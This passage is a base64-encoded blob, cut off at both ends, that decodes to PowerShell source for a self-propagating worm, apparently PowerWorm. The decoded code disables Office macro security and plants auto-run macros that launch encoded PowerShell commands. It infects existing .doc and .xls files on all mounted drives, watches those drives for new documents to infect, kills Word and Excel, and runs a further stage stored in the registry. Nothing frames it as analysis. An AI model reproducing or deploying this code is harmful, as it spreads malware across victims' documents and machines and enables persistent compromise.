QAuAFIAdQBuACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIgAgACYAIAAiACAALQBuAG8AZQB4AGkAdAAgAC0AZQBuAGMAbwBkAGUAZABjAG8AbQBtAGEAbgBkACAAIgAgACYAIABiACwAIAAwACwAIABGAGEAbABzAGUAJwAgACsAIAAkAE4AZQB3AGwAaQBuAGUAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQASQBuAGYAZQBjAHQAaQBvAG4AVAB5AHAAZQAgAC0AZQBxACAAIgBlAHgAYwBlAGwAIgApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAIgBQAHIAaQB2AGEAdABlACAAUwB1AGIAIABXAG8AcgBrAGIAbwBvAGsAXwBPAHAAZQBuACgAKQAiACAAKwAgACQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAArACAAIgBFAG4AZAAgAFMAdQBiACIAIAAgACAAIAAgAH0AIAAgACAAIAAgAGUAbABzAGUAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAiAFMAdQBiACAAQQB1AHQAbwBPAHAAZQBuACgAKQAiACAAKwAgACQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAArACAAIgBFAG4AZAAgAFMAdQBiACIAIAAgACAAIAAgAH0AIAB9ACAAIABmAHUAbgBjAHQAaQBvAG4AIABTAGUAdAAtAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB5AGwAbwBhAGQAKAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgAKQAgAHsAIAAgACAAIAAgACQARgBpAGwAZQBPAHAAZQBuAEEAdAB0AGUAbQBwAHQAcwAgAD0AIAAwACAAIAAgACAAIAAgACAAIAAgACAAIwAgAEEAdAB0AGUAbQBwAHQAIAB0AG8AIABnAGUAdAAgAGEAIAB3AHIAaQB0AGUAIABoAGEAbgBkAGwAZQAgAHQAbwAgAHQAaABlACAAZgBpAGwAZQAgAHQAbwAgAGIAZQAgAGkAbgBmAGUAYwB0AGUAZAAuACAAIAAgACAAIAAjACAAVAByAHkAIABmAG8AcgAgAGEAcABwAHIAbwB4AC4AIAAxADgAMAAgAHMAZQBjAG8AbgBkAHMALgAgAE8AdABoAGUAcgB3AGkAcwBlACwAIAB0AGgAZQAgAGQAbwBjAHUAbQBlAG4AdAAgAGkAcwAgACAAIAAgACAAIwAgAHAAcgBvAGIAYQBiAGwAeQAgAGMAdQByAHIAZQBuAHQAbAB5ACAAbwBwAGUAbgAuACAAIAAgACAAIABkAG8AIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAcwBsAGUAZQBwACAAMQAgACAAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQAgAD0AIABHAGUAdAAtAEkAdABlAG0AIAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgAIAAgACAAIAAgACAAIAAgACAAJABXAHIAaQB0AGUASABhAG4AZABsAGUAIAA9ACAAJABGAGkAbABlAC4ATwBwAGUAbgBXAHIAaQB0AGUAKAApACAAIAAgACAAIAAgACAAIAAgACQARgBpAGwAZQBPAHAAZQBuAEEAdAB0AGUAbQBwAHQAcwArACsAIAAgACAAIAAgACAAIAAgACAAJABXAHIAaQB0AGUASABhAG4AZABsAGUALgBDAGwAbwBzAGUAKAApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABGAGkAbABlAE8AcABlAG4AQQB0AHQAZQBtAHAAdABzACAALQBnAHQAIAAxADgAMAApACAAIAAgACAAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAB3AGgAaQBsAGUAIAAoACEAJABXAHIAaQB0AGUASABhAG4AZABsAGUAKQAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABGAGkAbABlAE8AcABlAG4AQQB0AHQAZQBtAHAAdABzACAALQBnAHQAIAAxADgAMAApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIwAgAE0AYQB0AGMAaAAgAG8AbgAgAC4AZABvAGMALAAgAGQAbwBjAHgALAAgAG8AcgAgAC4AZABvAGMAbQAgAGYAaQBsAGUAcwAgACAAIAAgACAAaQBmACAAKAAkAEYAaQBsAGUALgBFAHgAdABlAG4AcwBpAG8AbgAgAC0AbQBhAHQAYwBoACAAIgAuAGQAbwBjACIAKQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAFcAbwByAGQAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABXAG8AcgBkAC4AQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAIAAgACAAIAAgACAAIAAgACQAVwBvAHIAZAAuAEQAaQBzAHAAbABhAHkAQQBsAGUAcgB0AHMAIAA9ACAAIgB3AGQAQQBsAGUAcgB0AHMATgBvAG4AZQAiACAAIAAgACAAIAAgACAAIAAgACMAIABJAGYAIAB0AGgAZQByAGUAIABpAHMAIABhAG4AIABlAHgAaQBzAHQAaQBuAGcAIABtAGEAYwByAG8ALAAgAGQAbwBuACcAdAAgAGgAYQB2AGUAIABXAG8AcgBkACAAYQB1AHQAbwBtAGEAdABpAGMAYQBsAGwAeQAgAGUAeABlAGMAdQB0AGUAIABpAHQAIAAgACAAIAAgACAAIAAgACAAJABXAG8AcgBkAC4AQQB1AHQAbwBtAGEAdABpAG8AbgBTAGUAYwB1AHIAaQB0AHkAIAA9ACAAIgBtAHMAbwBBAHUAdABvAG0AYQB0AGkAbwBuAFMAZQBjAHUAcgBpAHQAeQBGAG8AcgBjAGUARABpAHMAYQBiAGwAZQAiACAAIAAgACAAIAAgACAAIAAgACAAJABXAG8AcgBkAE0AYQBjAHIAbwAgAD0AIABOAGUAdwAtAE0AYQBsAGkAYwBpAG8AdQBzAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAJwB3AG8AcgBkACcAIAAgACAAIAAgACAAIAAgACAAUwBlAHQALQBXAG8AcgBkAEQAbwBjAHUAbQBlAG4AdABNAGEAYwByAG8AUABhAHkAbABvAGEAZAAgACQARgBpAGwAZQAgACQAVwBvAHIAZABNAGEAYwByAG8AIAAkAFcAbwByAGQAIAAgACAAIAAgACAAIAAgACAAIwAgAEsAaQBsAGwAIABvAHIAcABoAGEAbgBlAGQAIABXAG8AcgBkACAAcAByAG8AYwBlAHMAcwAgACAAIAAgACAAIAAgACAAIABHAGUAdAAtAFAAcgBvAGMAZQBzAHMAIAB3AGkAbgB3AG8AcgBkACAAfAAgAD8AIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBIAGEAbgBkAGwAZQAgAC0AZQBxACAAMAAgAH0AIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIAAgACAAIAAjACAATQBhAHQAYwBoACAAbwBuACAALgB4AGwAcwAsACAALgB4AGwAcwB4ACwAIABvAHIAIAAuAHgAbABzAG0AIABmAGkAbABlAHMAIAAgACAAIAAgAGkAZgAgACgAJABGAGkAbABlAC4ARQB4AHQAZQBuAHMAaQBvAG4AIAAtAG0AYQB0AGMAaAAgACIALgB4AGwAcwAiACkAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAJABFAHgAYwBlAGwAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AQwBvAG0ATwBiAGoAZQBjAHQAIABFAHgAYwBlAGwALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAJABFAHgAYwBlAGwALgBEAGkAcwBwAGwAYQB5AEEAbABlAHIAdABzACAAPQAgACQARgBhAGwAcwBlACAAIAAgACAAIAAgACAAIAAgACMAIABJAGYAIAB0AGgAZQByAGUAIABpAHMAIABhAG4AIABlAHgAaQBzAHQAaQBuAGcAIABtAGEAYwByAG8ALAAgAGQAbwBuACcAdAAgAGgAYQB2AGUAIABFAHgAYwBlAGwAIABhAHUAdABvAG0AYQB0AGkAYwBhAGwAbAB5ACAAZQB4AGUAYwB1AHQAZQAgAGkAdAAgACAAIAAgACAAIAAgACAAIAAkAEUAeABjAGUAbAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4AUwBlAGMAdQByAGkAdAB5ACAAPQAgACIAbQBzAG8AQQB1AHQAbwBtAGEAdABpAG8AbgBTAGUAYwB1AHIAaQB0AHkARgBvAHIAYwBlAEQAaQBzAGEAYgBsAGUAIgAgACAAIAAgACAAIAAgACAAIAAgACQARQB4AGMAZQBsAE0AYQBjAHIAbwAgAD0AIABOAGUAdwAtAE0AYQBsAGkAYwBpAG8AdQBzAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAJwBlAHgAYwBlAGwAJwAgACAAIAAgACAAIAAgACAAIABTAGUAdAAtAEUAeABjAGUAbABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAAkAEYAaQBsAGUAIAAkAEUAeABjAGUAbABNAGEAYwByAG8AIAAkAEUAeABjAGUAbAAgACAAIAAgACAAIAAgACAAIAAjACAASwBpAGwAbAAgAG8AcgBwAGgAYQBuAGUAZAAgAEUAeABjAGUAbAAgAHAAcgBvAGMAZQBzAHMAIAAgACAAIAAgACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAAZQB4AGMAZQBsACAAfAAgAD8AIAB7ACAAJABfAC4ATQBhAGkAbgBXAGkAbgBkAG8AdwBIAGEAbgBkAGwAZQAgAC0AZQBxACAAMAAgAH0AIAB8ACAAUwB0AG8AcAAtAFAAcgBvAGMAZQBzAHMAIAAgACAAIAAgAH0AIAB9ACAAIABmAHUAbgBjAHQAaQBvAG4AIABTAHQAYQByAHQALQBFAHgAaQBzAHQAaQBuAGcARAByAGkAdgBlAEkAbgBmAGUAYwB0AGkAbwBuACAAewAgACAAIAAgACAAIwAgAEcAZQB0ACAAYwB1AHIAcgBlAG4AdABsAHkAIABtAG8AdQBuAHQAZQBkACAAZAByAGkAdgBlAHMAIAAgACAAIAAgACQATQBvAHUAbgB0AGUAZABEAHIAaQB2AGUAcwAgAD0AIABHAGUAdAAtAFAAUwBEAHIAaQB2AGUAIAB8ACAAPwAgAHsAIAAkAF8ALgBGAHIAZQBlACAAfQAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAKAAkAEQAcgBpAHYAZQAgAGkAbgAgACQATQBvAHUAbgB0AGUAZABEAHIAaQB2AGUAcwApACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACQATwBmAGYAaQBjAGUARQB4AHQAZQBuAHMAaQBvAG4AcwAgAD0AIAAiACoALgBkAG8AYwAiACwAIAAiACoALgBkAG8AYwB4ACIALAAgACIAKgAuAHgAbABzACIALAAgACIAKgAuAHgAbABzAHgAIgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABmAG8AcgBlAGEAYwBoACAAKAAkAEUAeAB0AGUAbgBzAGkAbwBuACAAaQBuACAAJABPAGYAZgBpAGMAZQBFAHgAdABlAG4AcwBpAG8AbgBzACkAIAAgACAAIAAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQARQB2AGUAbgB0AE4AYQBtAGUAIAA9ACAAJABEAHIAaQB2AGUALgBSAG8AbwB0ACAAKwAgACQARQB4AHQAZQBuAHMAaQBvAG4AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEYAaQBsAGUAUwB5AHMAdABlAG0AVwBhAHQAYwBoAGUAcgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4ARgBpAGwAZQBTAHkAcwB0AGUAbQBXAGEAdABjAGgAZQByACAAJABEAHIAaQB2AGUALgBSAG8AbwB0ACwAIAAkAEUAeAB0AGUAbgBzAGkAbwBuACAALQBQAHIAbwBwAGUAcgB0AHkAIABAAHsASQBuAGMAbAB1AGQAZQBTAHUAYgBkAGkAcgBlAGMAdABvAHIAaQBlAHMAIAA9ACAAJABUAHIAdQBlADsAIABOAG8AdABpAGYAeQBGAGkAbAB0AGUAcgAgAD0AIABbAEkATwAuAE4AbwB0AGkAZgB5AEYAaQBsAHQAZQByAHMAXQAnAEYAaQBsAGUATgBhAG0AZQAsACAATABhAHMAdABXAHIAaQB0AGUAJwB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAAUABlAHIAZgBvAHIAbQAgAHQAaABlACAAZgBvAGwAbABvAHcAaQBuAGcAIABhAGMAdABpAG8AbgAgAHUAcABvAG4AIABjAHIAZQBhAHQAaQBvAG4AIABvAGYAIABhACAAbgBlAHcAIABPAGYAZgBpAGMAZQAgAGQAbwBjAHUAbQBlAG4AdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQATgBlAHcATwBmAGYAaQBjAGUARABvAGMARQB2AGUAbgB0ACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgACQARgBpAGwAZQBTAHkAcwB0AGUAbQBXAGEAdABjAGgAZQByACAAQwByAGUAYQB0AGUAZAAgAC0AUwBvAHUAcgBjAGUASQBkAGUAbgB0AGkAZgBpAGUAcgAgACQARQB2AGUAbgB0AE4AYQBtAGUAIAAtAEEAYwB0AGkAbwBuACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAhACQATwBmAGYAaQBjAGUARABvAGMAQQByAHIAYQB5ACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABPAGYAZgBpAGMAZQBEAG8AYwBBAHIAcgBhAHkAIAA9ACAAQAAoACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgAIAA9ACAAJABFAHYAZQBuAHQALgBTAG8AdQByAGMAZQBFAHYAZQBuAHQAQQByAGcAcwAuAEYAdQBsAGwAUABhAHQAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABEAG8AbgAnAHQAIABjAG8AbgBzAGkAZABlAHIAIAB0AGUAbQBwAG8AcgBhAHIAeQAgAGYAaQBsAGUAcwAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoACQATwBmAGYAaQBjAGUARABvAGMAUABhAHQAaAAgAC0AbgBvAHQAbABpAGsAZQAgACIAKgAkACoAIgApACAALQBhAG4AZAAgACgAJABPAGYAZgBpAGMAZQBEAG8AYwBQAGEAdABoACAALQBuAG8AdABsAGkAawBlACAAIgAqAH4AKgAiACkAIAAtAGEAbgBkACAAKAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgAIAAtAG4AbwB0AGwAaQBrAGUAIAAiAHQAZQBtAHAAIgApACAALQBhAG4AZAAgACgAJABPAGYAZgBpAGMAZQBEAG8AYwBQAGEAdABoACAALQBuAG8AdABsAGkAawBlACAAIgB0AG0AcAAiACkAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAEYAaQBsAGUARQB4AHQAZQBuAHMAaQBvAG4AIAA9ACAAWwBJAE8ALgBQAGEAdABoAF0AOgA6AEcAZQB0AEUAeAB0AGUAbgBzAGkAbwBuACgAJABPAGYAZgBpAGMAZQBEAG8AYwBQAGEAdABoACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAoACQARgBpAGwAZQBFAHgAdABlAG4AcwBpAG8AbgAgAC0AZQBxACAAIgAuAHgAbABzACIAKQAgAC0AbwByACAAKAAkAEYAaQBsAGUARQB4AHQAZQBuAHMAaQBvAG4AIAAtAGUAcQAgACIALgB4AGwAcwB4ACIAKQAgAC0AbwByACAAKAAkAEYAaQBsAGUARQB4AHQAZQBuAHMAaQBvAG4AIAAtAGUAcQAgACIALgBkAG8AYwAiACkAIAAtAG8AcgAgACgAJABGAGkAbABlAEUAeAB0AGUAbgBzAGkAbwBuACAALQBlAHEAIAAiAC4AZABvAGMAeAAiACkAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAE8AZgBmAGkAYwBlAEQAbwBjAEEAcgByAGEAeQAgAC0AbgBvAHQAYwBvAG4AdABhAGkAbgBzACAAJABPAGYAZgBpAGMAZQBEAG8AYwBQAGEAdABoACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAkAE8AZgBmAGkAYwBlAEQAbwBjAEEAcgByAGEAeQAgACsAPQAgACQATwBmAGYAaQBjAGUARABvAGMAUABhAHQAaAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHcAaABpAGwAZQAgACgAQAAoACgARwBlAHQALQBKAG8AYgAgAHwAIAA/ACAAewAkAF8ALgBOAGEAbQBlACAALQBtAGEAdABjAGgAIAAiAEoAbwBiACIAfQApACAAfAAgAD8AIAB7ACQAXwAuAFMAdABhAHQAZQAgAC0AZQBxACAAIgBSAHUAbgBuAGkAbgBnACIAfQApAC4AYwBvAHUAbgB0ACAALQBnAHQAIAAwACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAAMQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAdABhAHIAdAAtAEoAbwBiACAALQBTAGMAcgBpAHAAdABCAGwAbwBjAGsAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQATwBmAGYAaQBjAGUARABvAGMAUABhAHQAaAAgAD0AIAAkAGEAcgBnAHMAWwAwAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAA9ACAAJABhAHIAZwBzAFsAMQBdACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACQARQBuAGMAbwBkAGUAZABQAGEAeQBsAG8AYQBkADMAIAA9ACAAKABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAKQAuACgAJABNAGEAYwBoAGkAbgBlAEcAdQBpAGQAIAArACAAJwAxACcAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABFAHgAZQBjAHUAdABlACAAdABoAGUAIABjAG8AbgB0AGUAbgB0AHMAIABvAGYAIAB0AGgAaQBzACAAcwBjAHIAaQBwAHQAIAAoAGkALgBlAC4AIABQAG8AdwBlAHIAVwBvAHIAbQBfAFAAYQByAHQAXwAzAC4AcABzADEAKQAgAGYAcgBvAG0AIAB0AGgAZQAgAHIAZQBnAGkAcwB0AHIAeQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAG4AaQBjAG8AZABlAC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQARQBuAGMAbwBkAGUAZABQAGEAeQBsAG8AYQBkADMAKQApACkAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAUwBlAHQALQBPAGYAZgBpAGMAZQBEAG8AYwBQAGEAeQBsAG8AYQBkACAAKAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgAC0AQQByAGcAdQBtAGUAbgB0AEwAaQBzAHQAIAAkAE8AZgBmAGkAYwBlAEQAbwBjAFAAYQB0AGgALAAgACQATQBhAGMAaABpAG4AZQBHAHUAaQBkACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAgACAAIAAgACAAIAAgACAAIAB9ACAAIAAgACAAIAB9ACAAfQAgACAAZgB1AG4AYwB0AGkAbwBuACAASQBuAHYAbwBrAGUALQBPAGYAZgBpAGMAZQBEAG8AYwBJAG4AZgBlAGMAdABpAG8AbgAoACQARAByAGkAdgBlAEwAZQB0AHQAZQByACkAIAB7ACAAIAAgACAAIAAjACAARwBlAHQAIABhAGwAbAAgAG8AZgBmAGkAYwBlACAAZABvAGMAdQBtAGUAbgB0AHMAIABmAHIAbwBtACAAdABoAGUAIABkAHIAaQB2AGUAIABzAHAAZQBjAGkAZgBpAGUAZAAgACAAIAAgACAAJABPAGYAZgBpAGMAZQBEAG8AYwBzACAAPQAgAEcAZQB0AC0AQwBoAGkAbABkAEkAdABlAG0AIAAkAEQAcgBpAHYAZQBMAGUAdAB0AGUAcgAgAC0AUgBlAGMAdQByAHMAZQAgAC0ASQBuAGMAbAB1AGQAZQAgACIAKgAuAGQAbwBjACIALAAiACoALgBkAG8AYwB4ACIALAAiACoALgB4AGwAcwAiACwAIgAqAC4AeABsAHMAeAAiACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAE8AZgBmAGkAYwBlAEQAbwBjAHMALgBDAG8AdQBuAHQAIAAtAG4AZQAgADAAKQAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAkAEUAeABjAGUAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBDAG8AbQBPAGIAagBlAGMAdAAgAEUAeABjAGUAbAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAgACAAIAAgACAAIAAgACAAIAAkAEUAeABjAGUAbAAuAEQAaQBzAHAAbABhAHkAQQBsAGUAcgB0AHMAIAA9ACAAJABGAGEAbABzAGUAIAAgACAAIAAgACAAIAAgACAAJABFAHgAYwBlAGwALgBBAHUAdABvAG0AYQB0AGkAbwBuAFMAZQBjAHUAcgBpAHQAeQAgAD0AIAAiAG0AcwBvAEEAdQB0AG8AbQBhAHQAaQBvAG4AUwBlAGMAdQByAGkAdAB5AEYAbwByAGMAZQBEAGkAcwBhAGIAbABlACIAIAAgACAAIAAgACAAIAAgACAAJABXAG8AcgBkACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIAAtAEMAbwBtAE8AYgBqAGUAYwB0ACAAVwBvAHIAZAAuAEEAcABwAGwAaQBjAGEAdABpAG8AbgAgACAAIAAgACAAIAAgACAAIAAkAFcAbwByAGQALgBEAGkAcwBwAGwAYQB5AEEAbABlAHIAdABzACAAPQAgACIAdwBkAEEAbABlAHIAdABzAE4AbwBuAGUAIgAgACAAIAAgACAAIAAgACAAIAAkAFcAbwByAGQALgBBAHUAdABvAG0AYQB0AGkAbwBuAFMAZQBjAHUAcgBpAHQAeQAgAD0AIAAiAG0AcwBvAEEAdQB0AG8AbQBhAHQAaQBvAG4AUwBlAGMAdQByAGkAdAB5AEYAbwByAGMAZQBEAGkAcwBhAGIAbABlACIAIAAgACAAIAAgACAAIAAgACAAIAAkAEUAeABjAGUAbABNAGEAYwByAG8AIAA9ACAATgBlAHcALQBNAGEAbABpAGMAaQBvAHUAcwBNAGEAYwByAG8AUABhAHkAbABvAGEAZAAgACcAZQB4AGMAZQBsACcAIAAgACAAIAAgACAAIAAgACAAJABXAG8AcgBkAE0AYQBjAHIAbwAgAD0AIABOAGUAdwAtAE0AYQBsAGkAYwBpAG8AdQBzAE0AYQBjAHIAbwBQAGEAeQBsAG8AYQBkACAAJwB3AG8AcgBkACcAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABEAG8AYwB1AG0AZQBuAHQAIABpAG4AIAAkAE8AZgBmAGkAYwBlAEQAbwBjAHMAKQAgACAAIAAgACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtACAAPQAgACQARABvAGMAdQBtAGUAbgB0AC4ATwBwAGUAbgBXAHIAaQB0AGUAKAApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABpAGYAIAAoACQARgBpAGwAZQBTAHQAcgBlAGEAbQApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJABGAGkAbABlAFMAdAByAGUAYQBtAC4AQwBsAG8AcwBlACgAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACMAIABUAGgAaQBzACAAdwBpAGwAbAAgAG0AYQB0AGMAaAAgAC4AZABvAGMAIABhAG4AZAAgAC4AZABvAGMAeAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAEQAbwBjAHUAbQBlAG4AdAAuAEUAeAB0AGUAbgBzAGkAbwBuACAALQBtAGEAdABjAGgAIAAiAC4AZABvAGMAIgApACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7ACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFMAZQB0AC0AVwBvAHIAZABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAAkAEQAbwBjAHUAbQBlAG4AdAAgACQAVwBvAHIAZABNAGEAYwByAG8AIAAkAFcAbwByAGQAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAjACAAVABoAGkAcwAgAHcAaQBsAGwAIABtAGEAdABjAGgAIAAuAHgAbABzACAAYQBuAGQAIAAuAHgAbABzAHgAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABEAG8AYwB1AG0AZQBuAHQALgBFAHgAdABlAG4AcwBpAG8AbgAgAC0AbQBhAHQAYwBoACAAIgAuAHgAbABzACIAKQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAewAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABTAGUAdAAtAEUAeABjAGUAbABEAG8AYwB1AG0AZQBuAHQATQBhAGMAcgBvAFAAYQB5AGwAbwBhAGQAIAAkAEQAbwBjAHUAbQBlAG4